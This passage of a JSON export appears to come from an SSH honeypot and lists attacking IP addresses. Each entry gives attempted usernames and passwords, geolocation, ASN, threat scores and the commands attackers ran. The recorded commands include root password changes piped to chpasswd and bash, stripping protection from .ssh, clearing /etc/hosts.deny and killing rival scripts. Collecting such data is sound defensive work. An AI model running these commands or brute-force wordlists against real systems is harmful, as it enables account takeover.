        "which ls",
        "whoami",
        "echo \"root:K0zNsT4kh3jq\"|chpasswd|bash",
        "echo \"root:Smd7FsxPqx4S\"|chpasswd|bash",
        "echo \"root:iaFjU8wCmKid\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Gravatal",
      "asn": 28573,
      "as_org": "Claro NXT Telecomunicacoes Ltda",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 355,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T00:27:09.489000+00:00",
        "last_seen_30d": "2026-05-14T01:10:19.173000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 299,
        "Suricata": 56
      }
    },
    "185.216.119.134": {
      "attack_count": 218,
      "first_seen": "2026-05-02T22:03:05.867Z",
      "last_seen": "2026-05-02T22:51:48.693Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "centos",
        "frappe",
        "guest",
        "hadoop",
        "oracle",
        "test3",
        "user",
        "user13"
      ],
      "passwords_attempted": [
        "......",
        "1",
        "1234566",
        "1234567c",
        "123456Ca",
        "123ZXCzxc",
        "123qwE",
        "123qweQWE.",
        "1q2w3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "789456123",
        "Ab123456",
        "Admin@2024",
        "Ls123456.",
        "Ma123456",
        "P@ssw0rd",
        "Ry123456",
        "Software123",
        "Vi123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ZEHyhHWKLzC8\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 316,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T22:03:05.867000+00:00",
        "last_seen_30d": "2026-05-02T22:52:58.190000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 98
      }
    },
    "131.100.242.102": {
      "attack_count": 208,
      "first_seen": "2026-05-15T10:13:52.321Z",
      "last_seen": "2026-05-15T10:56:49.191Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "...",
        "345gs5662d34",
        "dbus-helper",
        "linux",
        "pakchoi",
        "systemd-sync",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "warnight",
        "linux123",
        "1020",
        "123456Qq",
        "147369",
        "3245gs5662d34",
        "345gs5662d34",
        "?root?",
        "Cf123456.",
        "Kermit123@",
        "accessdenied",
        "alphadelta",
        "amer",
        "arisia",
        "ayda",
        "cs16",
        "ftpuser",
        "gh123456",
        "jester",
        "lol_lol_L0L_12346!&^$%#@@_87568"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ng7t3JNIOyqc\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campos dos Goytacazes",
      "asn": 61663,
      "as_org": "INFOLINE BANDA LARGA",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 276,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T10:13:52.321000+00:00",
        "last_seen_30d": "2026-05-15T10:57:53.523000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 208,
        "Suricata": 68
      }
    },
    "116.207.108.242": {
      "attack_count": 182,
      "first_seen": "2026-05-22T09:59:06.527Z",
      "last_seen": "2026-05-22T20:06:25.497Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 284,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:59:06.527000+00:00",
        "last_seen_30d": "2026-05-22T20:07:34.691000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 182,
        "Suricata": 102
      }
    },
    "114.227.48.189": {
      "attack_count": 178,
      "first_seen": "2026-05-22T09:56:52.599Z",
      "last_seen": "2026-05-22T20:09:33.570Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 275,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:56:52.599000+00:00",
        "last_seen_30d": "2026-05-22T20:10:37.891000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 97
      }
    },
    "178.128.18.100": {
      "attack_count": 178,
      "first_seen": "2026-05-11T18:34:56.577Z",
      "last_seen": "2026-05-11T20:06:56.330Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "ali",
        "root",
        "user",
        "345gs5662d34",
        "ftp-test",
        "ftpuser",
        "master",
        "odoo9",
        "opc",
        "teste",
        "testftp",
        "testwww"
      ],
      "passwords_attempted": [
        "oracle",
        "!234Qwer",
        "!@#$1234",
        "1",
        "1987121",
        "22222222",
        "345gs5662d34",
        "Cloud@123",
        "a11b12c13",
        "aa123456",
        "access#123",
        "admin123",
        "admin2024!@#",
        "ali123456",
        "ali2024",
        "ftp-test",
        "ftp123",
        "ftpuser12",
        "odoo9",
        "qwertyuio"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ftpuser12\\nXZQLoID3NVwn\\nXZQLoID3NVwn\\n\"|passwd",
        "echo -e \"ftpuser12\\nXZQLoID3NVwn\\nXZQLoID3NVwn\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 241,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:34:56.577000+00:00",
        "last_seen_30d": "2026-05-11T20:08:02.507000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 63
      }
    },
    "216.36.108.151": {
      "attack_count": 178,
      "first_seen": "2026-05-16T07:29:09.680Z",
      "last_seen": "2026-05-16T07:57:11.430Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ari",
        "cisco",
        "dave",
        "linux",
        "manu",
        "maya",
        "sandbox",
        "server",
        "siteadmin",
        "test",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "123456789",
        "1q2w3e4r.",
        "20192019",
        "3245gs5662d34",
        "345gs5662d34",
        "Letmein@123",
        "Pa$$w0rd",
        "Password1234",
        "Qa123456",
        "Test123",
        "Ubuntu@2023",
        "Yh@123456",
        "ari",
        "cisco",
        "dave",
        "linux",
        "manu",
        "maya",
        "qwe@1234",
        "sandbox"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:KY68MbkTR6Uj\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 3257,
      "as_org": "GTT Communications Inc.",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T07:29:09.680000+00:00",
        "last_seen_30d": "2026-05-16T07:58:17.407000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 54
      }
    },
    "185.65.107.14": {
      "attack_count": 174,
      "first_seen": "2026-05-08T02:09:55.433Z",
      "last_seen": "2026-05-31T03:30:12.714Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bosnia and Herzegovina",
      "country_code": "BA",
      "city": null,
      "asn": 199525,
      "as_org": "Net-Flet d.o.o.",
      "threat_score": 55.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.1,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 203,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:09:55.433000+00:00",
        "last_seen_30d": "2026-05-31T03:31:19.841000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 116,
        "Suricata": 87
      }
    },
    "112.103.60.145": {
      "attack_count": 156,
      "first_seen": "2026-05-19T06:35:02.627Z",
      "last_seen": "2026-05-19T15:26:15.924Z",
      "sessions": 78,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 243,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:35:02.627000+00:00",
        "last_seen_30d": "2026-05-19T15:27:23.345000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 156,
        "Suricata": 87
      }
    },
    "40.121.200.75": {
      "attack_count": 144,
      "first_seen": "2026-05-23T18:39:10.275Z",
      "last_seen": "2026-05-23T19:30:36.663Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "noc",
        "345gs5662d34",
        "builder",
        "chromeuser",
        "louis",
        "sambauser",
        "sens",
        "systemd",
        "testing",
        "tunnel"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "123",
        "123456qq@",
        "3245gs5662d34",
        "345gs5662d34",
        "Administrator2",
        "Azerty2025",
        "Bl123456",
        "Jh123456",
        "Qwe123asd",
        "louis",
        "sens",
        "systemd"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\nTDx8kJPQUH0x\\nTDx8kJPQUH0x\\n\"|passwd",
        "echo -e \"1234\\nTDx8kJPQUH0x\\nTDx8kJPQUH0x\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T18:39:10.275000+00:00",
        "last_seen_30d": "2026-05-23T19:31:42.672000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "4.221.162.168": {
      "attack_count": 143,
      "first_seen": "2026-05-29T22:20:16.848Z",
      "last_seen": "2026-05-29T22:51:18.524Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "ubuntu",
        "345gs5662d34",
        "ai",
        "developer",
        "irfan",
        "taher",
        "user11",
        "zhang"
      ],
      "passwords_attempted": [
        "123",
        "123!@#asd",
        "123456",
        "123456Aa!",
        "1q2w3e4r",
        "3245gs5662d34",
        "345gs5662d34",
        "88888888",
        "Pa55w0rd",
        "Qwer+1234",
        "aezakmi",
        "developer2025",
        "dh-qQ3j!soft",
        "irfan",
        "q1w2e3r4",
        "taher",
        "user11"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:9kADuB3BchiU\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 33.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 181,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T22:20:16.848000+00:00",
        "last_seen_30d": "2026-05-29T22:52:25.179000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 38
      }
    },
    "119.98.97.212": {
      "attack_count": 142,
      "first_seen": "2026-05-18T22:09:17.120Z",
      "last_seen": "2026-05-19T04:36:39.067Z",
      "sessions": 71,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 214,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:09:17.120000+00:00",
        "last_seen_30d": "2026-05-19T04:37:40.758000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 142,
        "Suricata": 72
      }
    },
    "108.181.22.199": {
      "attack_count": 138,
      "first_seen": "2026-05-03T14:49:44.910Z",
      "last_seen": "2026-05-31T16:26:08.761Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 58.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.1,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T14:49:44.910000+00:00",
        "last_seen_30d": "2026-05-31T16:27:15.304000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 69
      }
    },
    "167.250.28.14": {
      "attack_count": 138,
      "first_seen": "2026-05-22T21:34:38.290Z",
      "last_seen": "2026-05-23T07:49:20.504Z",
      "sessions": 69,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Porto Alegre",
      "asn": 265198,
      "as_org": "BLUE3 TECNOLOGIA EIRELI",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 207,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:34:38.290000+00:00",
        "last_seen_30d": "2026-05-23T07:50:29.277000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 138,
        "Suricata": 69
      }
    },
    "222.127.70.244": {
      "attack_count": 132,
      "first_seen": "2026-05-18T22:04:30.820Z",
      "last_seen": "2026-05-19T06:20:02.232Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Lahug",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:04:30.820000+00:00",
        "last_seen_30d": "2026-05-19T06:21:05.488000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 66
      }
    },
    "179.33.186.150": {
      "attack_count": 128,
      "first_seen": "2026-05-27T06:53:09.011Z",
      "last_seen": "2026-05-27T07:13:18.102Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dima",
        "luca",
        "systemd",
        "test1",
        "testuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1234",
        "123asdASD",
        "1qaz2WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@123456",
        "Admin$2026",
        "Qwerty@12345",
        "Voidsetdownload.so",
        "fjbdfdjkdsfs541544AA@@",
        "luca",
        "qwerty654321",
        "welcome@2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:cnYGE9kvaA8Q\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 160,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T06:53:09.011000+00:00",
        "last_seen_30d": "2026-05-27T07:14:19.533000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 32
      }
    },
    "80.65.148.97": {
      "attack_count": 124,
      "first_seen": "2026-05-23T08:21:38.896Z",
      "last_seen": "2026-05-23T13:47:05.328Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 213338,
      "as_org": "Evacom S.R.L.S.",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:21:38.896000+00:00",
        "last_seen_30d": "2026-05-23T13:48:07.537000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 62
      }
    },
    "164.68.108.176": {
      "attack_count": 119,
      "first_seen": "2026-05-31T16:04:56.655Z",
      "last_seen": "2026-05-31T16:28:10.486Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sipv",
        "345gs5662d34",
        "ctf",
        "deploy",
        "sepehr",
        "theta",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1234qwer@",
        "3245gs5662d34",
        "345gs5662d34",
        "Hj123456",
        "asd123",
        "ctf",
        "deploy2026",
        "hello",
        "sepehr",
        "sipv",
        "theta",
        "zxcZXC123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
